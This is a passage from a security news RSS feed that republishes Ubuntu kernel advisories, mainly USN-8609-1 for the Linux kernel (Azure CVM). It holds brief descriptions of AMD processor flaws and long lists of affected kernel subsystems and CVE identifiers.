  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8609-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:37 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
